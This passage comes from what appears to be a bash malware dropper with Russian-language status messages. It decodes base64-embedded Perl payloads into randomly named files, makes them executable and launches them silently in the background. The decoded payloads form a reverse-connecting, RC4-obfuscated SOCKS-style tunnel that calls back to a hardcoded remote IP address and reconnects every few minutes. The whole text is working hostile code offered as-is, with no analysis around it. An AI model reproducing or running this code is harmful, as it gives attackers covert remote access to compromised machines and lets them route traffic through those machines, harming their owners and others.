IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #60 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #60 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 61 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTUnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr 